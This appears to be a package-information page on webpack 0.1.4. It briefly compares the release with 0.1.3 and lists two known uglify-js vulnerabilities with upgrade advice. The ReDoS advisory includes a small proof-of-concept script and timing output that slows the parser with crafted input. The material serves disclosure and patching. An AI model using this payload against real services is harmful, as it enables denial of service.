Webpack version 0.1.4 represents a very minor iteration over its predecessor, version 0.1.3. Both versions focus on enabling developers to bundle CommonJS modules for efficient browser deployment, facilitating the creation of modular client-side applications. The core functionality remains consistent: Webpack packs your code and dependencies into bundles, optimizing load times by potentially splitting them into smaller chunks loaded on demand. This allows for more organised codebases and reduces initial page load size.
Looking at the provided metadata, the only tangible difference between these two versions appears to be a tiny shift in release date. Without any mention of specific fixes, features, or dependency updates in the metadata, it's plausible that version 0.1.4 addresses a very minor bug, documentation issue, or build process improvement that didn't warrant a formal announcement.
For developers, choosing between these two specific versions likely doesn't present any significant advantage or disadvantage. Since these are very old versions, developers are strongly recommended to migrate to newer webpack versions for improved features, performance, security updates and a vastly improved development experience. These older versions serve as a foundation however, showcasing the initial vision of the tool for modular JavaScript development. The continued presence of dependencies like esprima, optimist, and uglify-js highlight the early ecosystem upon which webpack was built.
All the vulnerabilities related to the version 0.1.4 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.